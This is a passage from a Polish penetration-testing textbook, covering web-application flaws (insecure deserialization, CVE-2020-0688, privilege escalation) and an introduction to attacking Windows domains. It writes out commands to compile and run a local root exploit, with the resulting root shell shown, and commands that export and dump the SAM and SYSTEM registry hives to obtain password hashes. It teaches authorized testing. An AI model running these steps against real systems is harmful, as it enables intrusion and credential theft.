mień bitów przygotowanych do wysłania. Popularnym formatem stosowanym do tego celu jest
format JSON. Proces deserializacji zajmuje się odwrotnym działaniem, czyli zmianą strumienia bi-
tów w użyteczny obiekt. W dalszej części zaprezentujemy opis nie do końca bezpiecznej deseriali-
zacji, która może zostać wykorzystana przez hakera. Złośliwy haker może tak zmienić zserializowane
dane, żeby strona odbierająca została wprowadzona w nieoczekiwany stan w wyniku konwersji
otrzymanych danych.
Dla każdego testera penetracyjnego aplikacji sieciowej, który nie ma dostępu do jej kodu źró-
dłowego, testowanie procesów deserializacji może być bardzo utrudnione. Nawet jeżeli masz do-
stęp do kodu źródłowego i przeprowadzasz testy białej skrzynki, znalezienie tych podatności wcale
nie jest łatwe. Testowanie podatności na serializowane obiekty wymaga tworzenia różnych obiek-
tów w postaci już zserializowanej i wysyłania ich do aplikacji, która po zdeserializowaniu otrzyma-
nych danych może uruchomić podsunięty kod albo wykonać inne operacje. Wymaga to przygoto-
wania obiektu zakodowanego w języku używanym przez aplikację; zwykle jest to Java, PHP lub
język serwerowy korzystający z serializowanych obiektów. Dobrym narzędziem do testowania
niebezpiecznej deserializacji w języku Java jest program Ysoserial dostępny pod adresem https://
github.com/frohoff/ysoserial. Za pomocą takiego narzędzia można tworzyć binarne bloby (zseriali-
zowane obiekty), które są następnie przesyłane do aplikacji przez port sieciowy albo przez formu-
larz aplikacji, a po odebraniu powodują w aplikacji wstrzykiwanie kodu wykonywanego na zdal-
nym serwerze. Ten rodzaj podatności zdarza się w przypadkach, gdy między serwerem a aplikacją
przesyłane są zserializowane obiekty albo gdy atakujący pozna tajne dane kryptograficzne umożli-
wiające tworzenie zserializowanych obiektów. Więcej informacji na temat tej klasy ataków razem
z różnymi przykładami znajdziesz na stronie WWW projektu OWASP, pod adresem https://owasp.org/
www-community/vulnerabilities/Deserialization_of_untrusted_data. Powszechnie wykorzystywaną
podatnością, która stosuje metody deserializacji danych, jest CVE-2020-0688, która wpływa na
działanie wielu wersji serwera Microsoft Exchange Server, aż do wersji 2016 Cumulative Update
15. Okazało się, że aplikacja sieciowa przeznaczona do korzystania z mechanizmów pocztowych
w serwerze Microsoft Exchange i zarządzania nimi przechowuje statyczne i współdzielone klucze
kryptograficzne wykorzystywane również przez .NET Framework. Atakujący może skorzystać
z tych kluczy, żeby utworzyć własne zserializowane obiekty i przesłać je do serwera, gdzie zostaną
one uruchomione w aplikacji sieciowej udostępnianej przez Microsoft Exchange Server. W efekcie
wstrzyknięty kod jest wykonywany zdalnie z uprawnieniami użytkownika SYSTEM. Dokładny opis
tego programu razem z listą operacji niezbędnych do jego wykorzystania został przedstawiony
na stronie www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-
´exchange-server-through-fixed-cryptographic-keys.

3681988c430c7fe1e8567c4e2f281f7b
3
Znane podatności 451

Znane podatności
Jak już zdążyliśmy się przekonać, publicznie znane podatności są poważnym problemem. Aplikacje
sieciowe są zwykle zbudowane z wielu różnych komponentów. Bardzo rzadko zdarza się, żeby apli-
kacja została napisana całkowicie od zera albo żeby pracował nad nią niewielki zespół programistów,
którzy doskonale znają wszystkie wykorzystywane komponenty. To wszystko podnosi złożoność
aplikacji, przez co zwiększa się prawdopodobieństwo, że gdzieś ukrywa się w niej nieaktualizowany
komponent. Kod komponentów może być też zmieniany tak, żeby pasował do aktualnego zastoso-
wania. Wskazaliśmy już kilka znanych podatności (CVE-2014-3660 oraz CVE-2014-3704), które
dotyczą wersji serwisu Drupal działającego w laboratorium naszej książki. Niezależnie od używa-
nego systemu lub frameworku CMS trzeba cały czas poszukiwać informacji o znanych podatno-
ściach związanych z zaprezentowanymi do tej porty metodami. Jeżeli chodzi o aplikacje sieciowe,
to pewne systemy CMS lub frameworki udostępniają nawet specjalizowane narzędzia umożliwia-
jące wyszukiwanie znanych podatności. Na przykład program WPscan przeszukuje witryny zbu-
dowane na bazie WordPressa. Wiele systemów CMS pozwala niezależnym programistom tworzyć
i udostępniać specjalne wtyczki. Oznacza to, że w wielu aplikacjach używane są takie dodatkowe
wtyczki, które też mogą być źródłem podatności.
Kod JavaScript działający po stronie klienta często również wykorzystuje zewnętrzne biblioteki,
takie jak JQuery, które podają swój numer wersji i również mogą okazać się nieaktualne. Platformy
AngularJS i Node.js (w obu używany jest język JavaScript) coraz bardziej zachęcają do wykorzysty-
wania istniejącego już kodu, co często kończy się powstaniem w aplikacji tylnej furtki. Właśnie
dlatego należy zawsze sprawdzać numery wersji oprogramowania i stosowanych wtyczek. Bardzo
często zdarza się, że w aplikacjach używane są nieaktualne biblioteki zewnętrzne, w których rów-
nież warto poszukiwać istniejących podatności. Niestety zaktualizowanie takich dodatkowych bi-
bliotek może zatrzymać działanie istniejących funkcji, przez co wiele nieaktualnych komponentów
jest nadal wykorzystywanych w różnych aplikacjach sieciowych.
Aby uzyskać obraz ilości podatności oraz istniejących exploitów, skorzystaj z programu Searchsploit
lub Metasploit i poszukaj w nich podatności dla różnych komponentów aplikacji sieciowych, takich
jak Drupal, Joomla! (kolejny system CMS) lub WordPress.

Niewystarczające protokołowanie
i monitorowanie
Niewystarczające protokołowanie i monitorowanie to ostatni problem, jaki występował na liście
OWASP Top 10 w 2017 roku. Z tym problemem mamy do czynienia wtedy, gdy systemy niewy-
starczająco dokładnie opisują swoje działania, co może spowodować to, że nie zauważymy prze-
prowadzanego ataku. Jeżeli testy przeprowadzasz we własnej organizacji, to możesz doskonale za-
obserwować skutki tego problemu.
Twój klient powinien być świadomy działań, jakie wykonujesz podczas prowadzenia testu
penetracyjnego. Jeżeli tak nie jest, to administratorzy systemów klienta powinni przejrzeć dostępne
protokoły, aby dowiedzieć się, dlaczego nie zauważyli wykonywanych przez Ciebie operacji.
W protokołach powinny być zapisane wszystkie przypadki, gdy Twoje działania spowodowały

3681988c430c7fe1e8567c4e2f281f7b
3
452 Rozdział 12  Aplikacje sieciowe

pojawienie się kodu błędu HTTP. Poza tym wszystkie te działania powinny być monitorowane
przez system wykrywania włamań (IDS — Intrusion Detection System). Skanowanie portów rów-
nież powinno zostać wykryte przez taki system, podobnie jak próby ręcznego sondowania, które
nie pasują do normalnego schematu ruchu sieciowego. Monitorowanie i protokołowanie są tutaj
niezwykle ważne, ponieważ pozwalają organizacji szybko reagować na ewentualne próby ataku.
Często zdarza się, że organizacje stają się celem ataku, który nie zostaje wykryty do czasu, gdy ata-
kujący spowoduje już poważne szkody. Czasami pracownicy wykrywają ruch sieciowy odbiegający
od normy, ale nie wiedzą, jakie działania powinni w związku z tym podjąć, co umożliwia atakują-
cym rozwinięcie swoich działań, zanim organizacja zdoła ich powstrzymać.
Jedną z metod poznawania wagi tego problemu jest instalacja oprogramowania protokołują-
cego w swojej maszynie wirtualnej i prowadzenie prób jej hakowania. Później można przejrzeć po-
wstałe protokoły, aby dowiedzieć się, jak wyglądają w nich zapisy związane z różnymi próbami
włamań. O ile w ogóle się tam pojawią.

Podnoszenie uprawnień
Aplikacje sieciowe mogą definiować własne systemy uprawnień. Aplikacja może na przykład po-
zwalać zwykłym użytkownikom na czytanie i wysyłanie wiadomości, natomiast użytkownicy admi-
nistracyjni mogą dodatkowo przeglądać wiadomości innych użytkowników i wprowadzać do nich
zmiany. Podnoszenie uprawnień w aplikacjach sieciowych może przyjmować formę podnoszenia
pionowego i podnoszenia poziomego. O podnoszeniu pionowym mówimy w przypadku, gdy zwy-
kły użytkownik zdoła podnieść swoje uprawnienia do poziomu użytkownika administracyjnego,
co daje mu większy dostęp do funkcji aplikacji. Z poziomym podnoszeniem uprawnień mamy
do czynienia w sytuacji, gdy jeden użytkownik zyskuje możliwość dostępu do danych innego użyt-
kownika, mimo że nie zmienił typu swojego konta na takie o większym zakresie uprawnień. Po-
datności opisywane w tym rozdziale mogą zostać wykorzystane w obu tych scenariuszach. Na przy-
kład możliwe jest użycie podatności XSS w celu wstrzyknięcia kodu JavaScript do administracyjnej
sesji aplikacji, aby ukraść plik cookie użytkownika administracyjnego lub zmodyfikować wartości
w jednym z wierszy bazy danych SQL. Oba te rozwiązania są metodami podnoszenia swoich
uprawnień w aplikacji sieciowej. Gdy mówimy o hakowaniu aplikacji sieciowych, to trzeba zebrać
całą swoją wiedzę i umiejętności, aby połączyć ze sobą istniejące podatności, które mogą dać dostęp
do systemu. Jeżeli skorzystalibyśmy z opisanego wcześniej exploitu do systemu Drupal, to mogli-
byśmy uzyskać dostęp do powłoki, ale z uprawnieniami serwera WWW. Ten exploit można jednak
połączyć z atakiem wstrzykiwania poleceń SQL, aby podnieść swoje uprawnienia w aplikacji sie-
ciowej i zyskać prawa administratora, a dopiero potem wykorzystać nowy poziom uprawnień, aby
przesłać do systemu polecenia powłoki.
Gdy już zyskasz dostęp do powłoki przez wykorzystanie błędów w aplikacji sieciowej lub
w dowolnym innym hoście używanym przez tę aplikację, na przykład w serwerze baz danych, to
zapewne nie będzie to dostęp z prawami użytkownika root, a zatem konieczne będzie podjęcie ko-
lejnych działa, aby podnieść poziom swoich uprawnień na tym hoście. W tym miejscu trzeba zatem
skorzystać z metod opisywanych we wcześniejszych rozdziałach tej książki. Należy zatem poszuki-
wać niewłaściwie ustawionych uprawnień do plików, brakujących ścieżek albo słabych haseł, a potem
postępować według zaprezentowanych wcześniej instrukcji. Badając w ten sposób laboratorium

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 453

naszej książki, z pewnością zauważysz, że na hoście zainstalowany jest binarny plik xclm, któremu
przypisano wysoki poziom uprawnień. Jest to zewnętrzny plik wykonywalny używany do nadawa-
nia licencji produktom firmy Microchip, powszechnie stosowany w wielu systemach. Administra-
torzy często instalują na serwerach zewnętrzne pakiety lub narzędzia, a te mogą zawierać własne
podatności. W przypadku tego pliku ustawiony został bit Set-UserID dla użytkownika root, a sam
program jest podatny na atak przepełnienia bufora, który można wykorzystać do podniesienia swo-
ich uprawnień. Po pobraniu pliku xclm-exploit.c musisz go przenieść na zdalny host, a następnie
skompilować i uruchomić. Pamiętaj, aby przed podjęciem ataku podnoszenia swoich uprawnień
zawsze przygotować sobie profil na atakowanym hoście oraz utworzyć własny interfejs TTY. Aby
skompilować i uruchomić plik exploitu, możesz użyć poniższych poleceń:
$ gcc xclm-exploit.c -o xclm-exploit
$ ./xclm-exploit
[ Microchip XC License Manager: xclm <= v2.22 local root exploit
# id
uid=0(root) gid=33(www-data) groups=33(www-data)

Podsumowanie
Jeżeli chodzi o testowanie aplikacji sieciowych, to nie można traktować tych prac jak zwykłego po-
szukiwania podatności w znanym już oprogramowaniu. Owszem, taka aplikacja składa się z wielu
znanych nam już komponentów — serwera WWW, serwera baz danych, specjalnego frameworku
i być może systemu CMS z dodatkowymi wtyczkami oraz kodem JavaScript, ale oprócz tego na
pewno zawiera też specjalizowany kod, którego raczej nikt dokładnie nie testował. Oznacza to, że
musisz poznać dokładniej zasady pracy tej aplikacji i wyszukać w niej obszary wymagające dokład-
niejszego zbadania. Trzeba zatem poszukiwać szczególnych klas lub typów podatności, a nie starać
się zlokalizować wybraną przez siebie konkretną podatność.
Teraz znasz już listę OWASP Top 10 zawierającą zagrożenia dla aplikacji sieciowych. To coś,
o czym trzeba zawsze pamiętać. Każda pozycja z tej listy opisuje całą kategorię zagrożeń składającą
się z różnych rodzajów podatności. Oczywiście lista OWASP Top 10 nie wyczerpuje tematu zagro-
żeń dla aplikacji sieciowych. Wyznacza jedynie początek prac dla hakerów oraz programistów.
Jednym z najważniejszych i najbardziej użytecznych narzędzi, jakich można użyć do hakowania
aplikacji sieciowych, jest prosta przeglądarka. W połączeniu z przechwytującym serwerem proxy,
takim jak Burp Suite lub ZAP, sama przeglądarka daje nam wielkie możliwości stosowania manu-
alnych metod poszukiwania ważnych podatności i typowych niedociągnięć.
Oczywiście bardzo ważne jest, żeby poznawać typowe słabości i podatności za pomocą ręcznego
ich wyszukiwania i wykorzystywania. Po zdobyciu takich umiejętności można zacząć stosować za-
utomatyzowane narzędzia, co jest absolutnie niezbędne podczas testowania aplikacji sieciowych,
kiedy to czas jest bardzo ważnym czynnikiem ograniczającym. Korzystanie z technik manualnych
i okazjonalne wykorzystywanie narzędzi do skanowania pozwala na uzyskanie dobrych wyników
w zadanym czasie. Pamiętaj, że każda podatność znaleziona za pomocą zautomatyzowanych na-
rzędzi lub skryptów musi zostać dokładniej sprawdzona. Tylko w ten sposób można określić ry-
zyko, jakie powoduje dana podatność, oraz zaprezentować klientowi propozycje rozwiązania zna-
lezionego problemu.

3681988c430c7fe1e8567c4e2f281f7b
3
454 Rozdział 12  Aplikacje sieciowe

Pamiętaj, żeby ciągle wypróbowywać nowo pojawiające się narzędzia i poszukiwać takich, które
mogą pomóc Ci w testowaniu konkretnej aplikacji. Na przykład pomocą może służyć narzędzie
przygotowane do testowania i skanowania konkretnego frameworku.
I w końcu nie osądzaj zbyt ostro swojego klienta ani członków swojej organizacji, nawet jeżeli
w ich aplikacji sieciowej znajdziesz wiele różnych podatności. Staraj się raczej współpracować z nimi,
żeby usunąć te błędy. Staraj się spokojnie wyjaśniać kolejne problemy, ale nie rób tego w sposób
protekcjonalny. Aplikacje sieciowe stanową ważną część naszej codziennej aktywności, a w związku
z tym, że przechowują sporo informacji osobistych, bardzo ważne jest, żeby każda aplikacja utrzy-
mywała odpowiednio wysoki poziom zabezpieczeń. Żadna aplikacja nie osiągnie jednak tego po-
ziomu, jeżeli swoją pracę ograniczysz do wyszukiwania podatności. Twoim zadaniem jest również
wskazanie zagrożenia, jakie te podatności powodują, oraz metod pozwalających na ich usunięcie.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

13
Microsoft Windows

W tym rozdziale zajmiemy się ostatnim rodzajem hosta, jaki może pojawić się w sieciach wewnętrz-
nych — hostem Microsoft Windows Server. Do tej pory skupialiśmy się przede wszystkim na ana-
lizie hostów uniksowych i choć wiele z podawanych wcześniej technik można stosować również
wobec hostów z systemem Windows, to jednak nie można pominąć ważnych różnic w podejściu
do tych hostów.
System Microsoft Windows zaczął istnieć jako system operacyjny dla komputerów stacjonar-
nych, w którym główną cechą był graficzny interfejs użytkownika. Mimo tego, że system począt-
kowo był projektowany dla użytkowników komputerów osobistych, a nie dla wielkich korporacji,
to dzisiaj wiele firm używa tego systemu (w wariancie Windows Server) jako bazy dla wszystkich
usług internetowych i sieciowych. System Windows Server jest używany jako baza dla serwisów
działających w sieciach wewnętrznych, jak i dla usług internetowych, takich jak serwery pocztowe
lub serwery WWW. Pod tym względem nie różni się od systemów uniksowych i linuksowych.
Istnieje możliwość instalowania systemu Windows Server bez interfejsu graficznego, a wtedy jego
obsługa jest możliwa za pomocą wiersza poleceń i języka skryptowego PowerShell.
Organizacje używają systemu Windows Server w połączeniu z systemami Windows dla stacji
roboczych, które razem tworzą sieć nazywaną domeną. Domeny systemów Windows mają za za-
danie umożliwiać użytkownikom stacji roboczych logowanie się do systemu i uzyskiwanie dostępu
do różnych zasobów sieciowych, takich jak drukarki, bez konieczności każdorazowego uwierzytel-
niania się wobec różnych hostów.
Wyobraź sobie tysiące kont użytkowników skonfigurowanych z różnymi uprawnieniami do-
stępu do wielu usług sieciowych. Jeżeli chodzi o hakowanie systemów oraz domen Windows, nie
jest to tak naprawdę hakowanie nie pojedynczego hosta, ale całej sieci składającej się z różnych
serwerów wypełniających różne zadania oraz stacji roboczych korzystających z tych serwerów.

455

3681988c430c7fe1e8567c4e2f281f7b
3
456 Rozdział 13  Microsoft Windows

Czym różni się hakowanie Windows

od hakowania Linuksa?
Do tej pory uczyliśmy się hakowania systemów linuksowych, a nabyte w ten sposób umiejętności
będziemy mogli wykorzystać przy pracy z systemami Windows. Praca z tymi systemami różni się
jednak w kilku szczegółach od pracy z Linuksem, dlatego w dalszej części tego rozdziału będziemy
podawać odpowiednie wskazówki. Już wcześniej widzieliśmy, że poszczególne hosty są widoczne
w sieciach wewnętrznych albo i w internecie. Gdy w grę wchodzi środowisko systemów Windows,
musimy przestać myśleć o pojedynczych hostach, a zacząć rozważać całą domenę. Poza tym po-
włoka stosowana w systemach Windows używa innych poleceń nawigacyjnych niż powłoki bash
lub sh, mimo że podobnie jak one jest zgodna z zaleceniami POSIX. Powłoka PowerShell udostęp-
nia też bardzo rozbudowany, obiektowy język skryptowy, który w wielu miejscach zachowuje się
podobnie do rozwiązań uniksowych.

Domeny, drzewa i lasy

W środowiskach korporacyjnych hosty z systemem Windows są zwykle zorganizowane w struk-
turach nazywanych domenami. Prosty przykład takiej domeny przedstawiamy na rysunku 13.1.
Domeny w systemach Windows są zorganizowane podobnie do systemu DNS, a poszczególne
hosty otrzymują takie nazwy jak WIN2019PDC.HACKERHOUSE.INTERNAL.

Rysunek 13.1. Domena systemów Windows z różnymi hostami i serwisami

3681988c430c7fe1e8567c4e2f281f7b
3
Czym różni się hakowanie Windows od hakowania Linuksa? 457

Możliwe jest też definiowanie kilku domen o jednakowej przestrzeni nazw, takich jak SHAREPOINT.
HACKERHOUSE.INTERNAL i EXCHANGE.HACKERHOUSE.INTERNAL, które tworzą wtedy drzewo domen, czę-
sto nazywane po prostu drzewem. Korzeniem takiego drzewa jest domena główna znajdująca się
na szczycie hierarchii (podobnie jak w systemie DNS), a pozostałe domeny są dołączane do
domeny głównej, tak jak na rysunku 13.2.

Rysunek 13.2. Drzewo domen systemów Windows

Takie drzewa domen można też łączyć w całe lasy. Każdy las składa się z drzew, które nie mają
tej samej przestrzeni nazw, ale zostały ze sobą pogrupowane. W lesie można zgrupować domeny
związane z różnymi lokalizacjami geograficznymi, które należą do jednej międzynarodowej kor-
poracji. Po utworzeniu takiego lasu domen użytkownicy jednej domeny posiadający odpowiednie
uprawnienia mogą korzystać z serwisów znajdujących się w innej domenie. Można też wykorzystać
sieć VPN, aby umożliwić dostęp użytkownikom poruszającym się pomiędzy domenami. Ogólny
schemat lasu domen można zobaczyć na rysunku 13.3.
Podczas hakowania sieci systemów Windows naszym zadaniem jest przejęcie komputera znaj-
dującego się na szczycie hierarchii domen, czyli kontrolera domen Active Directory (ang. Active
Directory domain controller — AD DC). To bardzo istotny system w sieciach Windows, który udo-
stępnia najważniejsze funkcje związane z zarządzaniem zasobami sieciowymi. Active Directory (AD)
to nazwa opisująca grupę serwisów firmy Microsoft przeznaczonych do zarządzania użytkownikami,
grupami, uprawnieniami, komputerami oraz innymi zasobami w sieci będącej częścią domeny. Udo-
stępniają one usługi katalogowe, wykorzystujące serwery LDAP do uwierzytelniania użytkowników.

3681988c430c7fe1e8567c4e2f281f7b
3
458 Rozdział 13  Microsoft Windows

Rysunek 13.3. Las domen systemów Windows

W dalszej części rozdziału będziemy nazywać system AD DC kontrolerem domeny. Zazwyczaj

jest to komputer, którego jedynym zadaniem jest zarządzanie pozostałymi elementami domeny.
Poszczególnym serwerom w sieci Windows można przypisywać różne role i uprawnienia, a kon-
troler domeny najczęściej skupia w sobie kilka różnych ról związanych z usługami AD przeznaczo-
nymi do zarządzania domeną. Taki host nie powinien udostępniać żadnych innych usług, takich
jak serwer WWW lub serwer baz danych SQL, ponieważ te dodatkowe zadania mogą negatywnie
wpływać na podstawowe zadania kontrolera domeny. Mimo to często zdarza się, że na kontrolerze
domeny uruchamiane są też inne usługi. Z tego powodu należy zawsze instruować swoich klientów,
żeby usuwać te serwisy z kontrolera domeny, aby jak najbardziej zmniejszać możliwości ataku
na tego hosta.
Kontroler domeny zajmuje się uwierzytelnianiem użytkowników dla całej domeny, na przykład
w sytuacji, gdy użytkownik chce się zalogować na stacji roboczej albo chce skorzystać z zasobów
sieciowych znajdujących się na drugim końcu świata. To istotne zadanie, dlatego główny kontroler

3681988c430c7fe1e8567c4e2f281f7b
3
Czym różni się hakowanie Windows od hakowania Linuksa? 459

domeny jest zwykle replikowany. Dzięki temu w przypadku awarii głównego kontrolera domeny
jego zadania może od razu przejąć zapasowy kontroler. Zazwyczaj w korporacyjnych sieciach sys-
temów Windows pracuje kilka kontrolerów domen zajmujących się obsługą firmowych domen
oraz lasów. Próba przejęcie kontrolera domeny w sieci klienta jest zatem podstawowym zadaniem
dla każdego hakera. Po uzyskaniu dostępu do kontrolera domeny zyskujemy władzę nad wszyst-
kimi zasobami przypisanymi do tego kontrolera. Włamanie się do takiego systemu daje atakują-
cemu pełnię władzy nad całą siecią firmową, dlatego te systemy są zwykle doskonale zabezpieczone
przed atakami i często otrzymują aktualizacje oprogramowania.
Zwykle konieczne jest najpierw przejęcie innych systemów, na przykład uzyskanie dostępu do
stacji roboczej za pomocą niezałatanej podatności umożliwiającej zdalne wykonanie kodu albo
przez wykorzystanie podatności na wstrzykiwanie poleceń SQL w serwerze WWW współpracują-
cym z serwerem SQL Server.
Po uzyskaniu dostępu do takiego systemu musisz znaleźć w nim jak najwięcej przydatnych in-
formacji (takich jak hasła, skróty haseł, certyfikaty bezpieczeństwa, nazwy użytkowników oraz in-
formacje o konfiguracji), które pozwolą Ci przenieść się na inny komputer. Takie zbieranie kolejnych
informacji i przechodzenie z komputera na komputer ostatecznie powinno umożliwić przejęcie
kontroli nad kontrolerem domeny. Sam proces przechodzenia między komputerami nazywany jest
ruchem bocznym (ang. lateral movement). Nie ogranicza się on wyłącznie do systemów Windows,
choć jest bardzo ważnym elementem przy atakowaniu środowisk z tymi systemami. Dzięki temu,
że w domenach Windows stosowana jest funkcja jednego punktu logowania, po uzyskaniu dostępu
do uprzywilejowanego konta w domenie dalsze przemieszczanie się pomiędzy zasobami siecio-
wymi staje się już bardzo proste.

Użytkownicy, grupy i uprawnienia

W sieciach systemów Windows istnieją konta użytkowników oraz grupy użytkowników, które są
koncepcjami zbliżonymi do użytkowników i grup z systemów uniksowych. Gdy użytkownik loguje
się do systemu, to zwykle operacja logowana wykonywana jest w lokalnym systemie lub w domenie,
do której należy dany komputer. Każdy użytkownik może być członkiem jednej lub kilku grup.
Poszczególnym grupom można przypisywać szczegółowe uprawnienia i prawa, które następnie są
przekazywane do wszystkich użytkowników będących członkami danej grupy.
W systemie Windows nie ma wbudowanego użytkownika root. Stosowane jest tutaj specjalne
konto użytkownika o nazwie Administrator, które pod wieloma względami jest równoważne unik-
sowemu użytkownikowi root. Takie konto istnieje w każdym systemie lokalnym, ale również
w samej domenie definiowane jest konto o nazwie Administrator, które ma kontrolę nad wszyst-
kimi zasobami podłączanymi do domeny. Uzyskanie danych uwierzytelniających dla takiego konta
daje zatem kontrolę nad całą domeną, a nie tylko nad pojedynczym systemem. Oznacza to, że głów-
nym zadaniem hakera jest uzyskanie dostępu do konta administratora w lokalnym systemie lub na
serwerze oraz wykonywanie prób uzyskania dostępu do domenowego konta Administrator. Ist-
nieje jeszcze konto Enterprise Administrator, którego uprawnienia umożliwiają sprawowanie kon-
troli nad całym lasem domen. Ostatecznym celem każdego ataku na korporacyjną sieć Windows
jest zatem zdobycie tak wysokiego poziomu uprawnień!

3681988c430c7fe1e8567c4e2f281f7b
3
460 Rozdział 13  Microsoft Windows

Często okazuje się, że poszczególnym grupom i zapisanym w nich użytkownikom udzielane są

zdecydowanie zbyt wysokie uprawnienia, przez co użytkownicy mogą korzystać z zasobów, do któ-
rych tak naprawdę nie powinni mieć dostępu. Można też natknąć się na pliki (podobnie jak w sys-
temach uniksowych i linuksowych), które zostały źle skonfigurowane i umożliwiają wykonywanie
operacji zapisu zdecydowanie zbyt dużej grupie użytkowników. To wszystko są doskonałe okazje,
które każdy haker powinien zauważyć i wykorzystać do własnych celów.

Skróty haseł
Uzyskanie dostępu do skrótów haseł użytkowników systemów Windows wymaga zastosowania in-
nych procesów (w liczbie mnogiej!) niż te, które widzieliśmy do tej pory. Nie istnieje tu możliwość
otworzenia pliku /etc/shadow, ponieważ wszystkie skróty haseł są przechowywane w zabezpieczo-
nym miejscu, a dostęp do nich jest możliwy tylko za pośrednictwem menedżera SAM (Security
Account Manager) z danego hosta. SAM jest bazą danych, która jest częścią rejestru systemu Win-
dows (kolejna baza danych używana w systemach Windows do przechowywania ustawień), gdzie
jest chroniona za pomocą klucza rozruchowego (ang. boot key). Chcąc odczytać jakiekolwiek uży-
teczne informacje z bazy SAM, trzeba zatem najpierw uzyskać wartość tego klucza.
Zakładając, że masz już dostęp do plików z katalogu C:\Windows\system32\config\SYSTEM oraz
C:\Windows\system32\config\SAM, możesz użyć takiego narzędzia jak SAMdump2 (jest już zain-
stalowane w systemie Kali Linux), aby uzyskać wszystkie skróty haseł zapisane w bazie danych SAM.
W tym miejscu wystarczy użyć polecenia samdump2 SYSTEM SAM. Jeżeli masz dostęp do wiersza poleceń
systemu Windows z uprawnieniami administratora, to możesz wykonać kopie niezbędnych plików,
używając do tego poleceń reg save HKLM\SAM C:\temp\SAM i reg save HKLM\SYSTEM C:\temp\SYSTEM.
Te polecenia eksportują całe drzewa SAM i SYSTEM znajdujące się w rejestrze systemu i zapisują je
w plikach w katalogu C:\temp. Później oba te pliki można przekazać jako argumenty do takich
narzędzi jak SAMdump2.
Dawniej technologia syskey, nazywana też „SAM Lock Tool”, tworzyła dodatkową warstwę szy-
frowania bazy danych SAM. Wymagała ona od użytkownika podania podczas uruchamiania kom-
putera hasła, które służyło do odszyfrowania bazy danych, co umożliwiało dalsze uwierzytelnianie
użytkownika. Baza danych SAM była chroniona za pomocą 128-bitowego szyfrowania RC4, ale
dzisiaj ten algorytm nie jest już stosowany z powodu używania tej funkcji przez oprogramowanie
typu ransomware. Te funkcje zostały zastąpione technologiami szyfrowania całego dysku, takimi
jak BitLocker, które znacznie podnoszą poziom bezpieczeństwa systemu.
Na kontrolerach domeny Windows możliwe jest też zdobycie pliku bazy danych ntds.dit, ale
tutaj trzeba zastosować inne metody od opisanych powyżej, ponieważ te sprawdzają się wyłącznie
w przypadku ataków na stacje robocze. Musisz zatem ćwiczyć kilka różnych metod wydobywania
danych uwierzytelniających z systemów Windows. Część metod polega na wykonywaniu kopii in-
formacji z systemu Windows Active Directory oraz plików ntds.dit. Do tego celu można na przy-
kład wykorzystać serwis Microsoft Windows Volume Shadow Copy (VSS), który wymaga jednak,
żeby w systemie była dostępna i włączona funkcja tworzenia kopii zapasowych systemu Windows
Server. Takie narzędzia jak PwDumpX, PwDump5, PwDump6, PwDump7 i kolejno numerowane
pozwalają uzyskać dostęp do bazy danych SAM za pomocą innych metod. Zalecamy zatem ekspe-
rymentowanie z różnymi narzędziami i czytanie ich dokumentacji przed przystąpieniem do fak-
tycznych prac.

3681988c430c7fe1e8567c4e2f281f7b
3
Czym różni się hakowanie Windows od hakowania Linuksa? 461

Oprogramowanie antywirusowe
Oprogramowanie antywirusowe jest instalowane w niemal każdym systemie Windows. Po tym, jak
firma Microsoft zdominowała rynek komputerów osobistych oraz sektor korporacyjny, atakujący
zaczęli masowo tworzyć złośliwe oprogramowanie wykorzystujące błędy istniejące w systemach
Windows oraz zachowania ich użytkowników. Dzisiaj większość tych działań ma motywacje finan-
sowe, a atakujący korzystają z szyfrowania, aby później żądać okupu od użytkowników za odzyska-
nie dostępu do przejętego przez nich hosta. Przez wiele lat oprogramowanie antywirusowe było
tworzone przez firmy trzecie (Microsoft nie zajmował się tym tematem), a administratorzy syste-
mów zawsze instalowali je na swoich serwerach i komputerach roboczych. W nowoczesnych sys-
temach Windows pojawiła się jednak funkcja Windows Defender, która jest wbudowanym w system
oprogramowaniem zabezpieczającym mającym chronić użytkowników systemu przed wirusami
oraz złośliwym oprogramowaniem.
Podstawowym zadaniem oprogramowania antywirusowego jest tworzenie siatki bezpieczeń-
stwa dla użytkowników komputerów. Jeżeli użytkownik pobierze jakiś plik, otrzyma go w załącz-
niku do wiadomości e-mail albo udostępni go w systemie przez podłączenie zewnętrznego nośnika
danych (na przykład pendrive’a), a ten plik będzie wykazywał cechy złośliwego oprogramowania,
to system zabezpieczający powinien wyświetlić komunikat ostrzegawczy, blokując jego uruchomie-
nie i uniemożliwiając przeprowadzenie jakichkolwiek złośliwych operacji. Niestety w przypadku
tradycyjnych rozwiązań antywirusowych takie złośliwe oprogramowanie musi być już znane w sys-
temie. Automatyczne aktualizacje pozwalają na pobieranie najnowszych sygnatur złośliwego opro-
gramowania z centralnej bazy danych.
Co prawda popularność systemów Windows częściowo tłumaczy, dlaczego często pojawiają się
w nich wirusy i złośliwe oprogramowanie, ale nie jest to jedyny powód. We wcześniejszych wyda-
niach systemów Windows, przed wprowadzeniem konta administratora, każde uruchomienie pro-
gramu w systemie (przez dwukrotne kliknięcie ikony na pulpicie albo za pomocą innej metody)
było równoważne z uruchomieniem programu w systemie Linux z prawami użytkownika root.
Po pojawieniu się konta administratora, które zwykle nie wymagało podania specjalnych danych
uwierzytelniających, użytkownicy nadal uruchamiali złośliwe oprogramowanie, nawet pracując na
koncie zwykłego użytkownika, ponieważ nie rozumieli konsekwencji takiego działania. Oczywi-
ście, że nikt nie będzie uruchamiał podejrzanego programu z prawami użytkownika root, ale miliony
użytkowników robiły to niemal codziennie, używając do tego odpowiednika tego konta w systemie
Windows — użytkownika Administrator. To kolejny powód tak wielkiego rozpowszechnienia wi-
rusów w systemach Windows. Jest to też jeden z głównych powodów wprowadzenia funkcji Kon-
trola konta użytkownika (ang. User Account Control — UAC), która sprawia, że nawet użytkownicy
z prawami administratora są proszeni o potwierdzenie chęci wykonania operacji wymagającej
większych uprawnień.
Pierwsze wirusy i złośliwe oprogramowanie nie musiały działać dyskretnie, ponieważ ludzie
i tak chętnie uruchamiali nieznane sobie pliki. Później złośliwy kod zaczął być ukrywany w innych
programach, co rozpoczęło wyścig zbrojeń między ukrywającymi się wirusami i programami pró-
bującymi je wykryć. Agencja CIA jest jedną z organizacji, które poświęciły wiele środków na rozwój
metod ukrywania oprogramowania przed programami antywirusowymi. (Opis jednego z przykła-
dów ich pracy można znaleźć na stronie https://wikileaks.org/vault7). Na pewnym etapie kariery

3681988c430c7fe1e8567c4e2f281f7b
